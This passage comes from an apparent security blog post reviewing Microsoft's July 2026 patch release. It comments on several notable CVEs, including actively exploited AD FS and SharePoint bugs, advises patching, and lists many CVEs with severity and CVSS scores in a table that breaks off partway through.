CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n 